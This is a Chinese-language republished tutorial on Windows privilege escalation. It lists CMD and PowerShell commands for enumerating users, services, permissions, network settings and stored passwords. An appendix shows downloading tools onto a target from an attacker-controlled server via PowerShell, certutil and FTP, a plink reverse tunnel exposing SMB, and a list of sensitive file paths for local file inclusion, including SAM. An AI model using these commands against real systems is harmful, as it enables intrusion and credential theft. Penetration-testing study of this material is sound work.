Windows 提权命令指南

VSole2021-11-08 06:46:03

介绍

特权升级总是被归结为适当的枚举。但要完成适当的枚举,你需要知道要检查和查找的内容。这通常需要伴随着经验的丰富而对系统非常熟悉。起初特权升级看起来像是一项艰巨的任务,但过了一段时间,你就开始过滤哪些是正常的东西,而哪些不是正常的东西。最终变得更容易,因为你知道要寻找什么了,而不是挖掘希望在干草堆中找到那根针的所有东西。希望本指南能为你的入门提供良好的基础知识。

本指南受到了g0tm1lk发表的基本的Linux提权姿势的文章的影响,在某些时候,你应该已经看到并使用了该指南。我想试图反映他的指导,除了Windows。所以本指南主要集中在枚举方面。

注:我不是专家,仍然在学习当中。

指南概述

在每个部分中,我首先提供老的可靠的CMD命令,然后是一个Powershell实现的的等价命令。同时拥有这两种工具是非常好的,Powershell比传统的CMD更加灵活。然而,没有一个Powershell命令能等价于所有东西(或者CMD在某些事情上仍然更简单更好),所以一些部分将只包含常规的CMD命令。

操作系统

操作系统类型和架构?它是否缺少任何补丁?

systeminfo
wmic qfe

环境变量有什么有趣的地方吗?域控制器在LOGONSERVER?

set
Get-ChildItem Env: | ft Key,Value

有没有其他连接的驱动器?

net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

用户

你是谁?

whoami
echo %USERNAME%
$env:UserName

系统上有哪些用户?任何旧的用户配置文件没有被清理掉?

net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

是否有其他人登录?

qwinsta

系统上有哪些用户组?

net localgroup
Get-LocalGroup | ft Name

在管理员组中有哪些用户?

net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

用户自动登录对应的注册表中有些什么内容?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Credential Manager中有什么有趣的东西?

cmdkey /list

我们可以访问SAM和SYSTEM文件吗?

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

程序,进程和服务

系统都安装了些什么软件?

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

有没有权限设置的比较脆弱的文件夹或文件的权限?

在程序文件夹中(Program Folders)有哪些文件或文件夹赋予了所有人(Everyone)或用户(User)的完全权限?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
 
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

修改程序文件夹(Program Folders)中的所有人(Everyone)或用户(User)的权限?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
 
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
 
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

你也可以上传Sysinternals中的accesschk来检查可写文件夹和文件。

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

系统上正在运行的进程/服务有哪些?有没有暴露的内部服务?如果是这样,我们可以打开它吗?请参阅附录中的端口转发。

tasklist /svc
tasklist /v
net start
sc query
Get-Process | ft ProcessName,Id
Get-Service

是否存在任何脆弱的服务权限?我们可以重新配置什么吗?你可以再次上传accesschk来检查权限。

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

有没有引用的服务路径?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

是否设置了计划任务?任何自定义实现的计划任务?

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | ft TaskName, State

系统启动时都运行了些什么?

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

AlwaysInstallElevated是否启用?我没有跑过这个,但没有伤害检查。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

网络

连接到了哪一块网卡?是否有多个网络?

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

我们有哪些网络路线?

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP缓存中有什么?

arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

是否有连接到其他主机的网络连接?

netstat -ano

hosts文件中的任何东西?

C:\WINDOWS\System32\drivers\etc\hosts

防火墙是否打开?如果是又是怎样配置的?

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

任何其他有趣的接口配置?

netsh dump

有没有SNMP配置?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

有趣的文件和敏感信息

这部分内容的命令输出可能有点杂乱,所以你可能想把命令的输出重定向到txt文件中进行审查和解析。

在注册表中是否有任何密码?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

查看是否存在没有清理掉的sysprep或unattended文件?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

如果服务器是IIS网络服务器,那么inetpub中有什么?以及任何隐藏的目录?web.config文件?

dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

在IIS日志目录中有些什么文件?

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

是否安装了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

系统中是否存在任何Apache网络日志?

dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

系统中是否任何有趣的文件?可能在用户目录(桌面,文档等)?

dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

系统中是否有包含密码的文件?

findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

附录

传输文件

在特权升级过程中的某个时候,你需要将文件放到你的目标上。下面是一些简单的方法来做到这一点。

Powershell Cmdlet(Powershell 3.0及更高版本)

Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"

Powershell一行代码实现方法:

(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename")

Powershell脚本

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://IPADDRESS/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

通过文本文件的非交互式FTP。当你只有有限的命令执行时这很有用。

echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
             
ftp -v -n -s:ftp.txt
CERTUTIL
 
certutil.exe -urlcache -split -f https://myserver/filename outputfilename

转发端口

这对于暴露机器外部不可用的内部服务非常有用,通常是由于防火墙设置。

上传plink.exe到目标。

在攻击机器上启动SSH。

例如要公开SMB,在目标上运行:

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

注意:从Windows 10的秋季创作者更新版本开始,OpenSSH已经在Windows的beta版本中推出,所以我预计有一天我们可能只能使用普通的旧的SSH命令进行端口转发,具体取决于是否启用。

本地文件包含列表

这不是一个详尽的列表,安装目录会有所不同,我只列出了一些常见的文件路径。

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
转自:https://zhuanlan.zhihu.com/p/33635377?utm_source=wechat_session&utm_medium=social&s_r=0
configxampp
本作品采用《CC 协议》,转载必须注明作者和本文链接
Windows 提权命令指南
2021-11-08 06:46:03
介绍特权升级总是被归结为适当的枚举。但要完成适当的枚举,你需要知道要检查和查找的内容。这通常需要伴随着经验的丰富而对系统非常熟悉。希望本指南能为你的入门提供良好的基础知识。
打印所有可用的系统信息。查看系统内核架构。列出系统上的所有组。当前用户所在的组。#查看是否存在空口令用户。谁目前已登录,他们正在做什么。命令用于显示系统中有哪些使用者正在上面。[^可以看到yokan用户在sudo组里]:3、用户和权限信息whoami????????可以使用sudo提升到root的用户。当前用户可以以root身份执行操作。显示所有的环境变量。显示默认系统变量。查看etc下所有配置文件。#查看指定应用的安装版本
从2023年9月30日开始,SentinelOne观察到一伙威胁分子利用Progress的WS_FTP最近披露的漏洞,攻击运行该软件高危版本的Windows服务器。两个最严重的漏洞是CVE -2023-40044和CVE -2023-42657,CVSS评分分别为10分和9.9分。
raspi-config是一个用户空间工具,它允许我们配置树莓派的各个方面,其中之一是启用各种外部接口。我们将使用raspi-config来启用UART接口,首先启动工具,如下所示: sudo raspi-config 这将导致出现以下结果:
0X00 原理原理就是,读取本地微信文件夹中的config目录下的AccInfo.dat文件AccInfo.dat文件内容如下图这个Dat文件中包含了手机号,微信ID,微信号,昵称和城市,绑定邮箱等信息0X01?福州,龙岩,南平,宁德,莆田,泉州,三明,厦门,漳州。白山,白城,长春,吉林,辽源,四平,松原,通化。抚州,赣州,景德镇,九江,吉安,南昌,萍乡,上饶,新余,鹰潭,宜春。鞍山,本溪,朝阳,大连,丹东,抚顺,阜新,葫芦岛,锦州,辽阳,盘锦(PanJi
Todesk在安装目录下会生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过Todesk特有的加密算法加密,所以不能通过解密得到明文密码,只需要去替换这个配置文件,然后重启服务即可。
Java内存马注入工具
2022-01-16 06:57:58
一个可以复活的Java内存马 用法 1.先根据环境修改配置文件 配置文件位置在: agent_starter.jar内部config目录下 # 目标url IP地址可以是127.0.0.1。在web应用关闭时,会挂起一个新进程用于监听。当web应用重新启动后,会自动重新注入。 target_url=http://127.0.0.1:80/ # 连接密码的md5值 默认密码:Jundead pas
修改 ssh 登陆配置打开 ssh 配置文件vim?#更改SSH端口,最好改为10000以上,别人扫描到端口的机率也会下降。防火墙要开放配置好的端口号,如果是阿里云服务器,你还需要去阿里云后台配置开发相应的端口才可以,否则登不上哦!
用于红队快速收集顶级域名或者ip相关关联的资产
VSole
网络安全专家